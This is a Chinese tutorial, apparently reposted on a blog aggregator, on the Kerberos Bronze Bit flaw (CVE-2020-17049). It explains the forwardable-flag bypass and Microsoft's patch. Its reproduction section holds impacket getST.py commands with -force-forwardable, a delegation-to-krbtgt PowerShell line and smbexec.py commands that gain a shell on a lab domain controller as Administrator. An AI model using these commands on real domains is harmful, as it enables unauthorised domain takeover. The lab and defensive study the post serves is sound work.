域渗透AD 示例场景漏洞 Kerberos Bronze Bit 【CVE-2020-17049】漏洞

背景

漏洞原理

漏洞复现

约束性委派攻击绕过

基于资源的约束性委派攻击绕过

漏洞预防和修复


背景

  • Kerberos Bronze Bit (CVE-2020-17049) 漏洞是国外安全公司 Netspi 安全研究员Jake Karnes 发现的一个Kerberos安全功能绕过漏洞。
  • 该漏洞存在的原因在于KDC在确定Kerberos服务票据是否可用于通过Kerberos的约束性委派时,其方式中存在一个安全功能绕过漏洞
  • 利用此漏洞,一个被配置为使用约束性委派的遭人侵服务可以篡改一个对委派无效的服务票据,从而迫使KDC接受它
  • 该漏洞启用的攻击是Kerberos委派引起的其他已知攻击的扩展。
  •  
    • 该漏洞绕过了现有攻击路径的以下两个缓解措施,提高了它们的有效性和通用功能性。
      • 绕过了Protected Users组内用户和设置了“敏感账号不能被委派”的安全措施导致这些用户也可以被委派。
      • 绕过在设置约束性委派时勾选“仅使用Kerberos”选项,即无法进行协议转换。

漏洞原理

  • 我们首先来看一下KDC在约束性委派和基于资源的约束性委派校验过程中对于过S4u2Self请求的ST如何进行验证。
  • KDC首先会检查通S4u2Self请求的ST的forwardable 标志位
    • -1- 如果该位为0,也就是不可转发,则会再验证是否是RBCD委派。
      • 如果不是RBCD委派,则不返回票据。
      • 如果是RBCD委派,则再检查被委派的用户是否设置了不能被委派。
        • 如果设置了,则不返回票据。
        • 如果没设置,则返回票据。
    • -2-如果该位为1,也就是可转发,则会再验证两者之间是否有委派配置。
      • 如果有委派配置,则返回票据。
      • 如果无委派配置,则不返回票据。
      • 从这个流程中可以看出,对于约束性委派和基于资源的约束性委派,最后不返回票据的原因各不相同。
      • 但是,只要 forwardable标志位为1,则约束性委派和基于资源的约束性委派在S4u2Proxy这一步均能获得票据。因此,我们后续的攻击就能成功

  • 是TGS-REP包,从中可以看出通过S4u2SeIf协议请求的ST是使用Servicel 的 Hash加密且forwardable标志位不在已签名的PAC中,而我们又已知Servicel 的Hash,因此,我们可以使用Servicel的Hash解密Servicel的ST,然后将forwardable标志位设置为1,再重新加密,形成修改后的Servicel ST。
  • 这一步不需要篡改PAC签名,并且KDC在验证PAC签名的时候也无法察觉到数据包被篡改。由于修改后的Servicel ST的forwardable标志位为1,因此在S4u2Proxy这一步就能获得票据。


漏洞复现

  • 实验环境如下。
    • 域控:AD01(10.211.55.4)。
    • 域管理员:administrator。
    • 服务账户:hack。
    • 域:xie.com。

约束性委派攻击绕过

  • 已经配置好了服务账户hack对cifs/ADO1.xie.com具有约束性委派,但是由于选择了“仅使用Kerberos”选项,因此不能进行协议转换。
  • 设置域管理员Administrator为“敏感账户,不能被委派”

当我们使用常规的委派攻击命令时,提示如下错误信息。

  • [-]Kerberos SessionError:KDC_ERR_BADOPTION(KDC cannot accommodate requested option)
  • [-] Probably SPN ia not allowed to delegate by user test or initial TGT not  forwardable

但当我们加上-force-forwardable参数绕过时,则成功获取到票据。

执行环境在win7 gitlab环境进行执行sudo 安装win7 环境

  • 以Administrator 身份请求一张访问cifa/ad01.xie.com的票据,加上-force-forvardable 绕过参数
    • Python getST.py -dc-ip AD.xie.com xie.com/hack:123@qq.com -spn cifs/AD.xie.com -impersonate administrator -force-forwardable
  • #导入该票据
    • export KRB5CCNAME=administrator.ccache
      • Linux执行如下命令
  • #访问域控
    • python smbexec.py -no-pass -k AD.xie.com


基于资源的约束性委派攻击绕过

  • 首先设置域管理员Administrator为“敏感账户,不能被委派”,然后在域控上配置用hack到krbtgt服务具有基于资源的约束性委派,命令如下。
    • Set-ADUser krbtgt  -PrincipalsAllowedToDelegateToAccount hack
    • Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount

当我们使用常规的基于资源的约束性委派攻击命令时,提示如下错误信息。

  • [-] Kerberos SessionError: KDC ERR BADOPTION(KDC cannot accommodate requested option)
  • [-]Probably SPN is not allowed to delegate by user test or initial rGT not forwardable

但当我们加上-force-forwardable 参数时,则成功获取到票据,如图4-90所示。

  • #以Administrator 身份请求一张访问krbtgt服务的票据,加上-force-forwardable 绕过参数
    • python3 getsT.py -dc-ip 10.211.55.4 -spn krbtgt -impersonate administrator xie.com/hack:P@ss1234 -force-forwardable
  • #导入该票据
    • export KRB5CCNAME=administrator.ccache
  • #以Administrator 身份访问域控AD01.xie.com
    • Python3 smbexec.py -no-pass -k administrator@AD01.xie.com -dc-ip 10.211.55.4


漏洞预防和修复

  • 微软已经发布了该漏洞的补丁程序,可以直接通过Windows自动更新解决此问题。
  • 那么该补丁是如何修复漏洞的呢?微软在补丁包中新增了一个票据签名。
  • 在S4u2Self阶段生成的服务票据,KDC用其密钥在票据上进行了签名,并将签名插入了PAC中,而后PAC又经过两次签名(使用服务密钥PAC_SERVER_CHECKSUM 和使用KDC密钥PAC_PIVSVR_CHECKSUM签名)。
  • 在之后的S4u2Proxy阶段,KDC会验证PAC的3个签名,3个签名必须都验证通过,KDC才会返回服务票据,否则KDC将返回KRB_AP_ERR MODIFIED消息。这样,攻击者就无法修改数据包中的forwardable 标志位了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/892524.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

YoloV10改进:Block改进|使用ContextAggregation模块改善C2f模块|即插即用

摘要 在计算机视觉领域,目标检测与实例分割任务一直是研究的热点。YoloV10作为目标检测领域的佼佼者,凭借其出色的性能和效率赢得了广泛的认可。然而,随着技术的不断进步,如何进一步提升YoloV10的性能成为了我们追求的目标。近期…

Java爬虫之使用Selenium WebDriver 爬取数据

这里写自定义目录标题 Selenium WebDriver简介一、安装部署二、Java项目中使用1.引入依赖2.示例代码 三、WebDriver使用说明1.WebDriver定位器2.常用操作3.使用 cookie4.键盘与鼠标操作 Selenium WebDriver简介 Selenium WebDriver 是一种用于自动化测试 Web 应用程序的工具。…

【实战指南】Vue.js 介绍组件数据绑定路由构建高效前端应用

学习总结 1、掌握 JAVA入门到进阶知识(持续写作中……) 2、学会Oracle数据库入门到入土用法(创作中……) 3、手把手教你开发炫酷的vbs脚本制作(完善中……) 4、牛逼哄哄的 IDEA编程利器技巧(编写中……) 5、面经吐血整理的 面试技…

ollama + fastgpt+m3e本地部署

ollama fastgptm3e本地部署 开启WSL更新wsl安装ubuntu docker下载修改docker镜像源开启WSL integration 安装fastgpt先创建一个文件夹来放置一些配置文件用命令下载fastgpt配置文件用命令下载docker的部署文件 启动容器M3E下载ollama下载oneapi配置登录oneapi配置ollama渠道配…

聊聊零基础如何开始学习鸿蒙开发技术

鸿蒙系统是一款分布式操作系统,其适用范围非常广泛,从智能手机到家用电器,再到工业设备,都能找到应用场景。特别是在智能家居领域,鸿蒙系统可以实现不同设备之间的无缝连接和协同工作,提供更加智能和便利的…

Flink On kubernetes

Apache Flink 是一个分布式流处理引擎,它提供了丰富且易用的API来处理有状态的流处理应用,并且在支持容错的前提下,高效、大规模的运行此类应用。通过支持事件时间(event-time)、计算状态(state&#xff09…

数据治理为何如此简单?

欢迎来文末免费获取数据治理相关PPT和文档 引言 随着大数据技术的迅速发展,企业积累的数据量呈现爆炸式增长。有效的数据管理已经成为企业提高决策效率、增强竞争优势的重要手段。在这样的背景下,数据治理逐渐成为企业数据管理中不可或缺的一环。它不仅…

Vivado - Aurora 8B/10B IP

目录 1. 简介 2. 设计调试 2.1 Physical Layer 2.2 Link Layer 2.3 Receiver 2.4 IP 接口 2.5 调试过程 2.5.1 Block Design 2.5.2 释放 gt_reset 2.5.3 观察数据 3. 实用技巧 3.1 GT 坐标与布局 3.1.1 选择器件并进行RTL分析 3.1.2 进入平面设计 3.1.3 收发器布…

【二刷hot-100】day1

目录 1.两数之和 2.字母异位词分组 3.字母异位词分组 4.最长连续序列 5.移动零 6.盛最多水的容器 7.三数之和 8.接雨水 1.两数之和 class Solution {public int[] twoSum(int[] nums, int target) {Map<Integer,Integer> mapnew HashMap<>();for (int i0;i<…

LeakCanary

LeakCanary 文章目录 LeakCanary一、内容1. 使用方法2. 工作原理3.工作流程 参考资料 一、内容 LeakCanary 是在 Android 项目中&#xff0c;用于检测内存泄露&#xff0c;优化性能的工具。 1. 使用方法 本文使用版本为 2.5 版本&#xff0c;相比于 2.0 之前的版本&#xff…

嵌入式:Keil的Code、RW、RO、ZI段的解析

相关阅读 嵌入式https://blog.csdn.net/weixin_45791458/category_12768532.html // 例1 int main(void) {HAL_Init(); /* 初始化HAL库 */sys_stm32_clock_init(RCC_PLL_MUL9); /* 设置时钟,72M */delay_init(72); …

[PHP]重复的Notice错误信息

<?php $a []; var_dump($a[name]);执行结果&#xff1a; 原因&#xff1a; display_errors和error_reporting都打开了Notice错误信息

前缀和一>寻找数组的中心下标

1.题目&#xff1a; 2.解析&#xff1a; 如果暴力解法时间复杂度是O(N^2)&#xff0c;定个&#xff0c;i&#xff0c;遍历左边右边&#xff1b; 这里可以优化为前缀和的做法&#xff0c;其实就是个动态规划。 代码&#xff1a; public int pivotIndex(int[] nums) {int n n…

如何利用边缘计算网关进行工厂设备数据采集?天拓四方

边缘计算网关集成了数据采集、处理和传输功能&#xff0c;位于传感器和执行器组成的设备层与云计算平台之间。它能够实时处理和响应本地设备的数据请求&#xff0c;减轻云平台的压力&#xff0c;提高数据处理的速度和效率。同时&#xff0c;边缘计算网关还可以将处理后的数据上…

基于SpringBoot+Vue+uniapp的个人财务系统的详细设计和实现

详细视频演示 请联系我获取更详细的演示视频 项目运行截图 技术框架 后端采用SpringBoot框架 Spring Boot 是一个用于快速开发基于 Spring 框架的应用程序的开源框架。它采用约定大于配置的理念&#xff0c;提供了一套默认的配置&#xff0c;让开发者可以更专注于业务逻辑而不…

linux下编译鸿蒙版curl、openssl

随着鸿蒙系统的正式发布日益临近&#xff0c;我们预见到在适配过程中&#xff0c;部分开发者可能需要编译特定版本的库以确保兼容性&#xff0c;比如编译curl-7.81和openssl-1.1.1m&#xff08;大家可以直接访问它们的官方网站下载所需的版本&#xff09;。 接下来&#xff0c…

k8s的部署

一、K8S简介 Kubernetes中文官网&#xff1a;Kubernetes GitHub&#xff1a;github.com/kubernetes/kubernetes Kubernetes简称为K8s&#xff0c;是用于自动部署、扩缩和管理容器化应用程序的开源系统&#xff0c;起源于Google 集群管理工具Borg。 Kubernetes集群组件逻辑图…

算法专题七: 分治归并

目录 1. 排序数组2. 交易逆序对的总数3. 计算右侧小于当前元素的个数4. 翻转对 1. 排序数组 算法思路: 本道题使用归并的思路进行排序, 先讲数组分为左右两个区间, 然后合并两个有序数组. class Solution {vector<int> tmp; public:vector<int> sortArray(vector&…

[含文档+PPT+源码等]精品基于php实现的原生微信小程序心理健康服务系统的设计与实现

基于PHP实现的原生微信小程序心理健康服务系统的设计与实现背景&#xff0c;可以从以下几个方面进行详细阐述&#xff1a; 一、技术背景 PHP技术&#xff1a; 广泛应用&#xff1a;PHP是一种开源的服务器端脚本语言&#xff0c;广泛用于Web开发领域。其丰富的函数库和灵活的语…

Redis-04 主从架构原理与搭建及主从优化方案

生产中使用Redis往往非单机部署&#xff0c;虽然根据前文已经对redis做了数据持久化处理&#xff0c;但是如果Redis服务宕机&#xff0c;所有的数据操作都将直接进入数据库&#xff0c;如果操作量很大&#xff0c;则相当于出现缓存穿透的现象。故生产中使用Redis一般采取【主从…